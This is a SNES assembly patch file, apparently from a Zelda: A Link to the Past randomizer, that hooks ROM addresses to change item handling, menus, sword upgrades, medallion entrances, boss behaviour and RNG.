org $0DECEB ; <- 6ECEB - equipment.asm : 1946 (LDA.w #$16E0 : STA $00)
JSL.l DrawMoonPearlInMenuLocation : NOP
;--------------------------------------------------------------------------------
;org $0DE9D8 ; <- 6E9D8 - equipment.asm : 1635 (LDA $E860, X : STA $12EA, X)
;BRA DrawProgressIcons_initPendantDiagram_notext
;org $0DEA0E ; <- 6EA0E - equipment.asm : 1645 (INX #2)
;DrawProgressIcons_initPendantDiagram_notext:
;--------------------------------------------------------------------------------
;================================================================================
; Map Always Zoomed
;--------------------------------------------------------------------------------
;org $0ABA49 ; <- 53A49 - Bank0A.asm : 447 (LDA.b #$80 : STA $211A)
;JSL.l PrepMapZoom : RTL
;org $0ABB32 ; <- 53B32 - Bank0A.asm : 626 (LDA $F6 : AND.b #$70)
;JSL.l ForceMapZoom
;--------------------------------------------------------------------------------
;================================================================================
; Zelda S&Q Mirror Fix
;--------------------------------------------------------------------------------
org $02D9A4 ; <- 159A4 - Bank02.asm : 11077 (dw $0000, $0002, $0002, $0032, $0004, $0006, $0030)
dw $0000, $0002, $0004, $0032, $0004, $0006, $0030
;--------------------------------------------------------------------------------
; ;================================================================================
; ; Accessability
; ;--------------------------------------------------------------------------------
; ;org $0AC574 ; <- 54574 - Bank0A.asm : 1797 (LDA $0D : STA $0802, X)
; ;JSL FlipGreenPendant
; ;NOP #6
; ;--------------------------------------------------------------------------------
; org $08AAE1 ; <- 42AE1 - ancilla_ether_spell.asm : 22 (LDA $031D : CMP.b #$0B)
; JSL.l SetEtherFlicker : NOP
; ;--------------------------------------------------------------------------------
;================================================================================
; Ice Floor Toggle
;--------------------------------------------------------------------------------
org $07D234 ; <- 3D234 - Bank07.asm : 12758 (LDA $0348 : AND.b #$11 : BEQ .notWalkingOnIce)
JSL.l LoadModifiedIceFloorValue_a11 : NOP
;--------------------------------------------------------------------------------
org $07D26E ; <- 3D26E - Bank07.asm : 12786 (LDA $0348 : AND.b #$01 : BNE BRANCH_RESH)
JSL.l LoadModifiedIceFloorValue_a01 : NOP
;--------------------------------------------------------------------------------
;================================================================================
; Sword Upgrade Randomization
;--------------------------------------------------------------------------------
;org $06C9BC ; <- 349BC - sprite_ponds.asm : 1066
;org $06C9C0 ; <- 349C0 - sprite_ponds.asm : 1068
;org $06C926 ; <- 34926 - sprite_ponds.asm : 945
;JML.l GetFairySword
;NOP #12
org $06C936 ; <- 34936 - sprite_ponds.asm : 952
PyramidFairy_BRANCH_IOTA:
org $06C948 ; <- 34948 - sprite_ponds.asm : 961
PyramidFairy_BRANCH_GAMMA:
;--------------------------------------------------------------------------------
;org $0EF7BD ; <- 777BD - sprite_ponds.asm : 1890 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles)
;JSL.l ReadInventoryPond
;org $0EF7E4 ; <- 777E4 - sprite_ponds.asm : 1922 (LDA $7EF340, X : BMI .invalidValue : BNE VWF_ChangeItemTiles)
;JSL.l ReadInventoryPond
;--------------------------------------------------------------------------------
org $1EE16E ; <- F616E - sprite_bomb_shop_entity.asm : 73
NOP #8 ; fix bomb shop dialog for dwarfless big bomb
org $068A14 ; <- 30A14 - sprite_prep.asm : 716
NOP #8 ; fix bomb shop spawn for dwarfless big bomb
;--------------------------------------------------------------------------------
org $06B489 ; <- 33489 - sprite_smithy_bros.asm : 473 (LDA $7EF359 : CMP.b #$03 : BCS .tempered_sword_or_better)
JML.l GetSmithSword
NOP #4
Smithy_DoesntHaveSword:
org $06B49D ; <- 3349D - sprite_smithy_bros.asm : 485 (.tempered_sword_or_better)
Smithy_AlreadyGotSword:
;--------------------------------------------------------------------------------
org $06ED55 ; <- 36D55 - Bank06.asm : 4817
JSL.l LoadSwordForDamage ; moth gold sword fix
;--------------------------------------------------------------------------------
org $08C5F7 ; <- 445F7 - ancilla_receive_item.asm : 400 (LDA.b #$09 : STA $012D)
NOP #5 ; remove spooky telepathy sound
;--------------------------------------------------------------------------------
;org $1EE094 ; PC 0xF6094 - sprite_hylian_plaque.asm : 79 (JSL Sprite_ShowMessageUnconditional)
;JSL.l DialogPedestal
;--------------------------------------------------------------------------------
org $08C431 ; <- 44431 - ancilla_receive_item.asm : 125 (LDA $0C5E, X : CMP.b #$01 : BNE .notMasterSword2)
JSL.l MSMusicReset : NOP
;LDA $8A : CMP.b #$80 : NOP
; $22 = $0000 - $00FF - MS Pedestal
; $22 = $0100 - $00FF - Hobo
;--------------------------------------------------------------------------------
;================================================================================
; New Items
;--------------------------------------------------------------------------------
org $07B57B ; <- 3B57B - Bank07.asm : 8523 (BMI .cantOpen)
NOP #2
;--------------------------------------------------------------------------------
org $00D531 ; 5531 - Bank00.asm:3451 (LDY.b #$5D)
JML.l GetAnimatedSpriteGfxFile
org $00D547 ; 5547 - Bank00.asm:3467 (JSR Decomp_spr_high)
GetAnimatedSpriteGfxFile_return:
org $00D557 ; 5557 - Bank00.asm:3486 (LDA $00 : ADC $D469, X)
JSL.l GetAnimatedSpriteBufferPointer
NOP
org $0799F7 ; 399F7 - Bank07.asm:4107 (JSL AddReceivedItem)
JSL.l AddReceivedItemExpanded
org $098611 ; 48611 - ancilla_init.asm:720 (LDA .item_target_addr+0, X)
LDA.w AddReceivedItemExpanded_item_target_addr+0, X
org $098616 ; 48616 - ancilla_init.asm:721 (LDA .item_target_addr+1, X)
LDA.w AddReceivedItemExpanded_item_target_addr+1, X
org $09861F ; 4861F - ancilla_init.asm:724 (LDA .item_values, Y)
LDA.w AddReceivedItemExpanded_item_values, Y
org $098627 ; 48627 - ancilla_init.asm:731 (LDA .item_target_addr+0, X)
LDA.w AddReceivedItemExpanded_item_target_addr+0, X
org $09862C ; 4862C - ancilla_init.asm:722 (LDA .item_target_addr+1, X)
LDA.w AddReceivedItemExpanded_item_target_addr+1, X
org $098635 ; 48635 - ancilla_init.asm:727 (LDA .item_values, Y)
LDA.w AddReceivedItemExpanded_item_values, Y
org $0986AA ; 486AA - ancilla_init.asm:848 (LDA .item_masks, X)
LDA.w AddReceivedItemExpanded_item_masks, X
org $098769 ; 48769 - ancilla_init.asm:1005 (LDA .item_graphics_indices, Y)
LDA.w AddReceivedItemExpanded_item_graphics_indices, Y
org $09884D ; 4884D - ancilla_init.asm:1137 (LDA $836C, Y)
LDA.w AddReceivedItemExpanded_y_offsets, Y
org $09885B ; 4885B - ancilla_init.asm:1139 (LDA .x_offsets, X) - I think the disassembly is wrong here, should have been LDA .x_offsets, Y
LDA.w AddReceivedItemExpanded_x_offsets, Y
org $0988B7 ; 488B7 - ancilla_init.asm:1199 (LDA .wide_item_flag, Y)
LDA.w AddReceivedItemExpanded_wide_item_flag, Y
org $0988EF ; 488EF - ancilla_init.asm:1248 (LDA $836C, Y)
LDA.w AddReceivedItemExpanded_y_offsets, Y
org $098908 ; 48908 - ancilla_init.asm:1258 (LDA .x_offsets, Y)
LDA.w AddReceivedItemExpanded_x_offsets, Y
org $08C6C8 ; 446C8 - ancilla_receive_item.asm:538 (LDA AddReceiveItem.properties, X)
LDA.l AddReceivedItemExpanded_properties, X
org $00C6F9 ; 446F9 - ancilla_receive_item.asm:570 (LDA AddReceiveItem.properties, X)
LDA.l AddReceivedItemExpanded_properties, X
org $08C6DE ; 446DE - ancilla_receive_item.asm:550 (LDA .wide_item_flag, X)
LDA.l AddReceivedItemExpanded_wide_item_flag, X
org $0985ED ; 485ED - ancilla_init.asm:693 (LDA $02E9 : CMP.b #$01)
JSL.l AddReceivedItemExpandedGetItem
NOP
org $07B57D ; 3B57D - Bank07.asm:8527 (LDA Link_ReceiveItemAlternates, Y : STA $03)
JSL.l Link_ReceiveItemAlternatesExpanded_loadAlternate
NOP
;--------------------------------------------------------------------------------
org $09892E ; 4892E - ancilla_init.asm:1307 (LDA BottleList, X)
LDA.w BottleListExpanded, X
org $09895C ; 4895C - ancilla_init.asm:1344 (LDA PotionList, X)
LDA.w PotionListExpanded, X
;--------------------------------------------------------------------------------
;org $098A36 ; <- 48A36 - ancilla_init.asm:1432 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72)
;LDA AddReceivedItemExpanded_item_graphics_indices, Y
;--------------------------------------------------------------------------------
org $06D1EB ; 351EB - sprite_absorbable.asm:364 (STA $7EF375) ; bugbug commented out until i figure out why it doesn't work
JSL HandleBombAbsorbtion
;--------------------------------------------------------------------------------
;org $09873F ; <- 04873F - ancilla_init.asm : 960 (ADC [$00] : STA [$00] )
;JSL.l AddToStock
;--------------------------------------------------------------------------------
;================================================================================
; Kholdstare Shell Fix
;--------------------------------------------------------------------------------
org $00EC88 ; <- 6C88 - Bank00.asm:6671 - (LDA $7EC380, X : STA $7EC580, X)
LDA $7EC3A0, X : STA $7EC5A0, X
;--------------------------------------------------------------------------------
org $00ECEB ; <- 6CEB - Bank00.asm:6730 - (LDX.w #$0080)
LDX.w #$00A0
LDA.w #$00B0
;--------------------------------------------------------------------------------
;================================================================================
; Potion Refill Fixes
;--------------------------------------------------------------------------------
;org $0DF1B3 ; <- 6F1B3 - headsup_display.asm:492 - (SEP #$30)
;JSL.l RefillMagic
;RTL
;--------------------------------------------------------------------------------
;org $0DF128 ; <- 6F128 - headsup_display.asm:407 - (LDA $7EF36D : CMP $7EF36C : BCC .refillAllHealth)
;JSL.l RefillHealth
;RTL
;--------------------------------------------------------------------------------
org $00F8FB ; <- 78FB - Bank00.asm:8507 - (JSL HUD.RefillHealth : BCC BRANCH_ALPHA)
JSL.l RefillHealth
;--------------------------------------------------------------------------------
org $00F911 ; <- 7911 - Bank00.asm:8528 - (JSL HUD.RefillMagicPower : BCS BRANCH_$7901)
JSL.l RefillMagic
;--------------------------------------------------------------------------------
org $00F918 ; <- 7918 - Bank00.asm:8537 - (JSL HUD.RefillHealth : BCC .alpha)
JSL.l RefillHealth
;--------------------------------------------------------------------------------
org $00F922 ; <- 7922 - Bank00.asm:8543 - (JSL HUD.RefillMagicPower : BCC .beta)
JSL.l RefillMagic
;--------------------------------------------------------------------------------
;================================================================================
; Early Bottle Fix
;--------------------------------------------------------------------------------
org $09894C ; <- 4894C - ancilla_init.asm:1327
JSL.l InitializeBottles
;--------------------------------------------------------------------------------
;================================================================================
; Agahnim Doors Fix
;--------------------------------------------------------------------------------
org $1BBC94 ; <- DBC94 - Bank1B.asm : 201 (LDA $7EF3C5 : AND.w #$000F : CMP.w #$0003 : BCS BRANCH_EPSILON)
JSL.l LockAgahnimDoors : BNE Overworld_Entrance_BRANCH_EPSILON : NOP #6
org $1BBCC1 ; <- DBCC1 - Bank1B.asm : 223 (LDA $0F8004, X : AND.w #$01FF : STA $00)
Overworld_Entrance_BRANCH_EPSILON: ; go here to lock doors
;--------------------------------------------------------------------------------
; -- HOOK THIS LATER TO FUCK WITH BOSS DROPS --
org $01C73E ; <- C73E - Bank01.asm : 10377 (LDA $01C6FC, X : JSL Sprite_SpawnFallingItem)
JSL.l DropSafeDungeon
NOP #4
;--------------------------------------------------------------------------------
;================================================================================
; Uncle / Sage Fixes - Old Man Fixes - Link's House Fixes
;--------------------------------------------------------------------------------
org $05DA4F ; <- 2DA4F - sprite_uncle_and_priest.asm : 45 (BCC .agahnim_not_defeated)
db 80 ; BRA
;--------------------------------------------------------------------------------
org $05DA61 ; <- 2DA61 - sprite_uncle_and_priest.asm : 51 (BEQ .priest_not_already_dead)
db 80 ; BRA
;--------------------------------------------------------------------------------
org $05DA81 ; <- 2DA81 - sprite_uncle_and_priest.asm : 65 (BCC .dontHaveMasterSword)
db 80 ; BRA
;--------------------------------------------------------------------------------
;org $05DE1D ; <- 2DE1D - sprite_uncle_and_priest.asm : 725 (LDA.b #$A0 : STA $7EF372)
;JSL.l RefillHealthPlusMagic8bit
;NOP #2
;--------------------------------------------------------------------------------
org $05DEF8 ; <- 2DEF8 - sprite_uncle_and_priest.asm : 917 (LDA.b #$05)
LDA.b #$00
;--------------------------------------------------------------------------------
org $05DE6A ; <- 2DE6A - sprite_uncle_and_priest.asm : 796 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;--------------------------------------------------------------------------------
; org $05DE9E ; <- 2DE9E - sprite_uncle_and_priest.asm : 845 (JSL Sprite_ShowMessageUnconditional)
; JSL.l DialogUncle
;--------------------------------------------------------------------------------
;org $1EEAB6 ; <- F6AB6 - sprite_old_mountain_man.asm : 338 (LDA.b #$A0 : STA $7EF372)
;JSL.l RefillHealthPlusMagic8bit
;NOP #2
;--------------------------------------------------------------------------------
;org $01E5B2 ; <- E5B8 - lower pot link's house
;db $14 ; fairy
;org $01E5B5 ; <- E5B8 - lower pot link's house
;db $14 ; fairy
;org $01E5B8 ; <- E5B8 - lower pot link's house
;db $0D ; big magic
;--------------------------------------------------------------------------------
;================================================================================
; Ganon's Tower Basement Door Fix
;--------------------------------------------------------------------------------
;org $1FF3F4 ; <- 0FF3F4
;db $00
;--------------------------------------------------------------------------------
; Misery Mire Basement Door Fix
;--------------------------------------------------------------------------------
;org $1FB8E4 ; <- 0FB8E4
;db $00
;--------------------------------------------------------------------------------
;0xFE465 -> 0x1E
org $1FE465
db #$1E
;--------------------------------------------------------------------------------
;================================================================================
; Bomb & Arrow Capacity Updates
;--------------------------------------------------------------------------------
org $0DDC27 ; <- 6DC27 - headsup_display.asm:151 (LDA $7EF370 : TAY)
JSL.l IncrementBombs
NOP #15
;--------------------------------------------------------------------------------
org $0DDC49 ; <- 6DC49 - headsup_display.asm:169 (LDA $7EF371 : TAY)
JSL.l IncrementArrows
NOP #15
;--------------------------------------------------------------------------------
org $1EE199 ; <- F6199 - sprite_bomb_shop_entity.asm:102 (LDA $7EF370 : PHX : TAX)
JSL.l CompareBombsToMax
NOP #11
;--------------------------------------------------------------------------------
;================================================================================
; Bonk Items
;--------------------------------------------------------------------------------
org $05FC7E ; <- 2FC7E - sprite_dash_item.asm : 118 (LDA $7EF36F : INC A : STA $7EF36F)
JSL.l GiveBonkItem : NOP #5
org $05FC97 ; <- 2FC97 - sprite_dash_item.asm : 126 (LDA.b #$2F : JSL Sound_SetSfx3PanLong)
NOP #6
;--------------------------------------------------------------------------------
org $068D39 ; <- 30D39 - sprite_prep.asm : 1435 - (LDA.b #$08 : STA $0F50, X)
JSL.l LoadBonkItemGFX
;--------------------------------------------------------------------------------
org $05FC04 ; <- 2FC04 - sprite_dash_item.asm : 38 - (JSL DashKey_Draw)
JSL.l DrawBonkItemGFX
;--------------------------------------------------------------------------------
;================================================================================
; Library Item
;--------------------------------------------------------------------------------
org $05FD44 ; <- 2FD44 - sprite_dash_item.asm : 244 - (JSL Link_ReceiveItem)
JSL.l SetLibraryItem
;--------------------------------------------------------------------------------
org $068D1B ; <- 30D1B - sprite_prep.asm : 1414 - (JSL GetAnimatedSpriteTile.variable)
JSL.l LoadLibraryItemGFX
;--------------------------------------------------------------------------------
org $05FC9E ; <- 2FC9E - sprite_dash_item.asm : 138 - (JSL Sprite_PrepAndDrawSingleLargeLong)
JSL.l DrawLibraryItemGFX
;--------------------------------------------------------------------------------
org $068D0E ; <- 30D0E - sprite_prep.asm : 1401 - (LDA $7EF34E : BEQ .book_of_mudora)
JSL.l ItemCheck_Library
;--------------------------------------------------------------------------------
;================================================================================
; Inventory Updates
;--------------------------------------------------------------------------------
org $0DDF38 ; <- 6DF38 - equipment.asm : 480
JSL.l ProcessMenuButtons
BCC _equipment_497
JMP.w _equipment_544
;NOP #7
ResetEquipment:
JSR.w RestoreNormalMenu ; (short)
RTL
NOP #3
warnpc $0DDF49
org $0DDF49 ; <- 6DF49 - equipment.asm : 497
_equipment_497: ; LDA $F4 : AND.b #$08 : BEQ .notPressingUp - NO BUTTON CAPTURE
;org $0DDF7E ; <- 6DF7E - equipment.asm : 539
org $0DDF88 ; <- 6DF88 - equipment.asm : 544
;org $0DE10E ; <- 6E10E - equipment.asm : 806
_equipment_544:
;--------------------------------------------------------------------------------
org $0DEB98 ; <- 6EB98 - equipment.asm : 1803
;LDA.w #$3C60 : STA $FFBE, Y
;ORA.w #$4000 : STA $FFC4, Y
;ORA.w #$8000 : STA $0084, Y
;EOR.w #$4000 : STA $007E, Y
LDA.w #$3C60 : STA $FFBE, Y
ORA.w #$8000 : STA $007E, Y
ORA.w #$4000 : STA $0084, Y
JSL.l AddYMarker
NOP #2
;--------------------------------------------------------------------------------
org $0DF789+6 ; <- 6F789+6 (not in disassembly) - red bottle hud tile, lower right
dw #$2413 ; (Orig: #$24E3)
org $0DF789+6+8 ; green bottle hud tile, lower right
dw #$3C12 ; (Orig: #$3CE3)
org $0DF789+6+16 ; blue bottle hud tile, lower right
dw #$2C14 ; (Orig: #$2CD2)
org $0DF789+6+40 ; good bee hud tile, lower right
dw #$2815 ; (Orig: #$283A)
;--------------------------------------------------------------------------------
;org $0DDE9B ; <- 6DE9B equipment.asm:296 - LDA $0202 : CMP.b #$10 : BNE .notOnBottleMenu (CMP instruction)
;CMP.b #$FF
;--------------------------------------------------------------------------------
org $0DDE9F ; <- 6DE9F equipment.asm:300 - LDA.b #$0A : STA $0200
LDA.b #$04
;--------------------------------------------------------------------------------
org $0DDE59 ; <- 6DE59 equipment.asm:247 - REP #$20
JSL.l BringMenuDownEnhanced : RTS
;--------------------------------------------------------------------------------
org $0DDFBC ; <- 6DFBC equipment.asm:599 - LDA $EA : ADD.w #$0008 : STA $EA : SEP #$20 : BNE .notDoneScrolling
JSL.l RaiseHudMenu : NOP #3
;--------------------------------------------------------------------------------
org $0DDE3D ; <- 6DE3D equipment.asm:217 - BNE .equippedItemIsntBottle
db $80 ; BRA
;--------------------------------------------------------------------------------
org $0DE12D ; <- 6E12D - equipment.asm : 828
JSL.l ProcessBottleMenu
;--------------------------------------------------------------------------------
org $0DDF9A ; <- 6DF9A - equipment.asm : 554
JSL.l OpenBottleMenu
NOP
;--------------------------------------------------------------------------------
org $0DE12D ; <- 6E12D - equipment.asm : 828
JSL.l CloseBottleMenu
;--------------------------------------------------------------------------------
org $0DDF1E ; <- 6DF1E - equipment.asm : 462 - LDA $F4 : AND.b #$10 : BEQ .dontLeaveMenu
JSL.l CheckCloseItemMenu
;--------------------------------------------------------------------------------
org $0DEE70 ; <- 6EE70 - equipment.asm : 2137
JSL.l PrepItemScreenBigKey
NOP
;--------------------------------------------------------------------------------
org $08D395 ; <- 45395 - ancilla_bird_travel_intro.asm : 253
JSL.l UpgradeFlute
NOP #2
;--------------------------------------------------------------------------------
org $05E4D7 ; <- 2E4D7 - sprite_witch.asm : 213
JSL.l RemoveMushroom
NOP #2
;--------------------------------------------------------------------------------
org $05F55F ; <- 2F55F - sprite_potion_shop.asm : 59
JSL.l LoadPowder
;--------------------------------------------------------------------------------
org $05F681 ; <- 2F681 - sprite_potion_shop.asm : 234
JSL.l DrawPowder
RTS
NOP #8
;--------------------------------------------------------------------------------
org $05F65D ; <- 2F65D - sprite_potion_shop.asm : 198
JSL.l CollectPowder
NOP #5
;--------------------------------------------------------------------------------
org $05EE5F ; <- 2EE5F - sprite_mushroom.asm : 30
JSL.l LoadMushroom
NOP
;--------------------------------------------------------------------------------
org $05EE78 ; <- 2EE78 - sprite_mushroom.asm : 58
JSL.l DrawMushroom
;--------------------------------------------------------------------------------
org $05EE97 ; <- 2EE97 - sprite_mushroom.asm : 81
NOP #14
;--------------------------------------------------------------------------------
org $07A36F ; <- 3A36F - Bank07.asm : 5679
NOP #5
org $07A379 ; <- 3A379 - Bank07.asm : 5687
JSL.l SpawnHauntedGroveItem
;--------------------------------------------------------------------------------
org $07A303 ; 3A303 - Bank07.asm : 5622
;JSL.l FixShovelLock
;--------------------------------------------------------------------------------
org $07A3A2 ; 3A3A2 - Bank07.asm : 5720 - JSL DiggingGameGuy_AttemptPrizeSpawn
JSL.l SpawnShovelItem
BRA _Bank07_5726
org $07A3AB ; 3A3AB - Bank07.asm : 5726 - LDA.b #$12 : JSR Player_DoSfx2
_Bank07_5726:
;org $07A381 ; 3A381 - Bank07.asm : 5693 - ORA $035B
;ORA $035B
;--------------------------------------------------------------------------------
org $079A0E ; 39A0E - Bank07.asm : 4117 - JSL HUD.RefreshIconLong
JSL.l Link_ReceiveItem_HUDRefresh
;--------------------------------------------------------------------------------
org $08C6F9 ; 446F9 - ancilla_receive_item.asm : 538 - (LDA AddReceiveItem.properties, X : BPL .valid_upper_properties)
LDA AddReceivedItemExpanded_properties, X
;--------------------------------------------------------------------------------
org $08C70F ; 4470F - ancilla_receive_item.asm : 550 - (LDA .wide_item_flag, X : STA ($92), Y ; AddReceiveItem.wide_item_flag? ; LDA.b #$00 : STA ($92), Y in the japanese version)
JML.l LoadNarrowObject
NOP
LoadNarrowObjectReturn:
;--------------------------------------------------------------------------------
;================================================================================
; Swordless Mode
;--------------------------------------------------------------------------------
org $07A49F ; <- 3A49F - Bank07.asm:5903 (LDA $7EF359 : INC A : AND.b #$FE : BEQ .cant_cast_play_sound) - Ether
JSL.l CheckMedallionSword
;--------------------------------------------------------------------------------
org $07A574 ; <- 3A574 - Bank07.asm:6025 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Bombos
JSL.l CheckMedallionSword
;--------------------------------------------------------------------------------
org $07A656 ; <- 3A656 - Bank07.asm:6133 (LDA $7EF359 : INC A : AND.b #$FE : BEQ BRANCH_BETA) - Quake
JSL.l CheckMedallionSword
;--------------------------------------------------------------------------------
org $05F3A0 ; <- 2F3A0 - sprite_medallion_tablet.asm:240 (LDA $7EF359 : BMI .zeta)
JSL.l CheckTabletSword
;--------------------------------------------------------------------------------
org $05F40A ; <- 2F40A - sprite_medallion_tablet.asm:303 (LDA $7EF359 : BMI .show_hylian_script)
JSL.l CheckTabletSword
;--------------------------------------------------------------------------------
;================================================================================
; Medallion Tablets
;--------------------------------------------------------------------------------
org $05F274 ; <- 2F274
JSL.l ItemCheck_BombosTablet
;--------------------------------------------------------------------------------
org $05F285 ; <- 2F285
JSL.l ItemCheck_EtherTablet
;--------------------------------------------------------------------------------
;org $098BCC ; <- 48BCC - ancilla_init.asm : 1679 (LDA AddReceiveItem.item_graphics_indices, Y : STA $72)
;;JSL.l SetTabletItem
;JSL SpawnTabletItem : PLX : PLB : RTL
;--------------------------------------------------------------------------------
org $07859F ; <- 3859F - Bank07.asm : 965 (JSL AddPendantOrCrystal)
JSL SpawnTabletItem
org $07862A ; <- 3862A - Bank07.asm : 1064 (JSL AddPendantOrCrystal)
JSL SpawnTabletItem
;--------------------------------------------------------------------------------
;================================================================================
; Medallion Entrances
;--------------------------------------------------------------------------------
org $08B504 ; <- 43504 - ancilla_bombos_spell.asm : 671
JSL.l MedallionTrigger_Bombos
NOP
;--------------------------------------------------------------------------------
org $08ACC8 ; <- 42CC8 - ancilla_ether_spell.asm : 350
JSL.l MedallionTrigger_Ether
JMP _ancilla_ether_spell_363
warnpc $08ACE6
org $08ACE6 ; <- 42CE6 - ancilla_quake_spell.asm : 363
_ancilla_ether_spell_363:
;--------------------------------------------------------------------------------
org $08B6EA ; <- 436EA - ancilla_quake_spell.asm : 67
JSL.l MedallionTrigger_Quake
JMP _ancilla_quake_spell_83
Ancilla_CheckIfEntranceTriggered:
JSR $F856
RTL
warnpc $08B708
org $08B708 ; <- 43708 - ancilla_quake_spell.asm : 83
_ancilla_quake_spell_83:
;--------------------------------------------------------------------------------
;================================================================================
; Big & Great Fairies
;--------------------------------------------------------------------------------
org $1DC475 ; <- EC475 - sprite_big_fairie.asm : 70 (LDA.w #$00A0 : ADD $7EF372 : STA $7EF372)
JSL.l RefillHealthPlusMagic
NOP #8
org $1DC489 ; <- EC489 - sprite_big_fairie.asm : 88 (LDA $7EF36D : CMP $7EF36C : BNE .player_hp_not_full_yet)
NOP #4
JSL.l CheckFullHealth
;--------------------------------------------------------------------------------
;================================================================================
; RNG Fixes
;--------------------------------------------------------------------------------
org $1DFD9E ; <- EFD9E - sprite_diggin_guy.asm : 307
NOP #8
;--------------------------------------------------------------------------------
org $1DFD67 ; <- EFD67 - sprite_diggin_guy.asm : 242
JSL.l RigDigRNG
;--------------------------------------------------------------------------------
org $01EE94 ; <- EE94 - Bank01.asm : 14121
JSL.l RigChestRNG
; ;--------------------------------------------------------------------------------
; org $1ED63E ; <- F563E - sprite_agahnim.asm
; JSL RNG_Agahnim1
; org $1ED6EF ; <- F56EF - sprite_agahnim.asm
; JSL RNG_Agahnim1
; org $1D91E3 ; <- E91E3 - sprite_ganon.asm
; JSL RNG_Ganon_Extra_Warp
; org $1D9488 ; <- E9488 - sprite_ganon.asm
; JSL RNG_Ganon
; ;--------------------------------------------------------------------------------
; ;org $01EDB2 ; <- EDB2 - Bank01.asm : 14038
; ;INC $04C4
; ;--------------------------------------------------------------------------------
; org $05A3F4 ; <- 2A3F4 - sprite_lanmola.asm : 112 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Lanmolas1
; org $05A401 ; <- 2A401 - sprite_lanmola.asm : 116 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Lanmolas1
; org $05A4FA ; <- 2A4FA - sprite_lanmola.asm : 241 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Lanmolas1
; org $05A507 ; <- 2A507 - sprite_lanmola.asm : 245 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Lanmolas1
; ;--------------------------------------------------------------------------------
; org $1DD817 ; <- ED817 - sprite_giant_moldorm.asm : 187 (JSL GetRandomInt : AND.b #$02 : DEC A : STA $0EB0, X)
; JSL.l RNG_Moldorm1
; org $1DD821 ; <- ED821 - sprite_giant_moldorm.asm : 189 (JSL GetRandomInt : AND.b #$1F : ADC.b #$20 : STA !timer_0, X)
; JSL.l RNG_Moldorm1
; org $1DD832 ; <- ED832 - sprite_giant_moldorm.asm : 203 (JSL GetRandomInt : AND.b #$0F : ADC.b #$08 : STA !timer_0, X)
; JSL.l RNG_Moldorm1
; ;--------------------------------------------------------------------------------
; org $1E81A9 ; <- F01A9 - sprite_helmasaur_king.asm : 247 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Helmasaur
; org $1E8262 ; <- F0262 - sprite_helmasaur_king.asm : 373 (JSL GetRandomInt : AND.b #$01 : BEQ BRANCH_BETA)
; JSL.l RNG_Helmasaur
; org $1DEEE1 ; <- EEEE1 - sprite_helmasaur_fireball.asm : 236 (JSL GetRandomInt : STA $0FB6)
; JSL.l RNG_Helmasaur
; ;--------------------------------------------------------------------------------
; org $1EB5F7 ; <- F35F7 - sprite_arrghus.asm : 328 (JSL GetRandomInt : AND.b #$3F : ADC.b #$30 : STA $0DF0, X)
; JSL.l RNG_Arrghus
; ;--------------------------------------------------------------------------------
; org $1EBF4D ; <- F3F4D - sprite_mothula.asm : 180 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Mothula
; org $1EBF60 ; <- F3F60 - sprite_mothula.asm : 187 (JSL GetRandomInt : AND.b #$1F : ADC.b #$40 : STA $0DF0, X)
; JSL.l RNG_Mothula
; org $1EBFBE ; <- F3FBE - sprite_mothula.asm : 261 (JSL GetRandomInt : AND.b #$1F : ORA.b #$40 : STA !beam_timer, X)
; JSL.l RNG_Mothula
; org $1EC095 ; <- F4095 - sprite_mothula.asm : 373 (JSL GetRandomInt : AND.b #$1F : CMP #$1E : BCC .already_in_range)
; JSL.l RNG_Mothula
; ;--------------------------------------------------------------------------------
; org $1E957A ; <- F157A - sprite_kholdstare.asm : 209 (JSL GetRandomInt : AND.b #$3F : ADC.b #$20 : STA $0DF0, X)
; JSL.l RNG_Kholdstare
; org $1E95F0 ; <- F15F0 - sprite_kholdstare.asm : 289 (JSL GetRandomInt : AND.b #$3F : ADC.b #$60 : STA $0DF0, X)
; JSL.l RNG_Kholdstare
; org $1E95FB ; <- F15FB - sprite_kholdstare.asm : 291 (JSL GetRandomInt : PHA : AND.b #$03 : TAY)
; JSL.l RNG_Kholdstare
; org $1E96C9 ; <- F16C9 - sprite_kholdstare.asm : 453 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Kholdstare
; org $1E96E5 ; <- F16E5 - sprite_kholdstare.asm : 458 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Kholdstare
; org $1E97D5 ; <- F17D5 - sprite_kholdstare.asm : 605 (JSL GetRandomInt : AND.b #$04 : STA $0D)
; JSL.l RNG_Kholdstare
; ;--------------------------------------------------------------------------------
; org $1DE5E4 ; <- EE5E4 - sprite_vitreous.asm : 207 (JSL GetRandomInt : AND.b #$0F : TAY)
; JSL.l RNG_Vitreous
; org $1DE626 ; <- EE626 - sprite_vitreous.asm : 255 (JSL GetRandomInt : AND.b #$07 : STA $0D90, Y)
; JSL.l RNG_Vitreous
; ;--------------------------------------------------------------------------------
; org $1DB16C ; <- EB16C - sprite_trinexx.asm : 530 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Trinexx
; org $1DB186 ; <- EB186 - sprite_trinexx.asm : 535 (JSL GetRandomInt : AND.b #$07 : TAY)
; JSL.l RNG_Trinexx
; org $1DB25E ; <- EB25E - sprite_trinexx.asm : 643 (JSL GetRandomInt : AND.b #$03 : TAY : CMP $00 : BEQ BRANCH_ALPHA)
; JSL.l RNG_Trinexx
; org $1DB28D ; <- EB28D - sprite_trinexx.asm : 661 (JSL GetRandomInt : AND.b #$03 : CMP.b #$01 : TYA : BCS BRANCH_GAMMA)
; JSL.l RNG_Trinexx
; org $1DB9B0 ; <- EB9B0 - sprite_sidenexx.asm : 165 (JSL GetRandomInt : AND.b #$07 : INC A : CMP.b #$05 : BCS BRANCH_ALPHA)
; JSL.l RNG_Trinexx
; org $1DB9CC ; <- EB9CC - sprite_sidenexx.asm : 175 (JSL GetRandomInt : LSR A : BCS BRANCH_ALPHA)
; JSL.l RNG_Trinexx
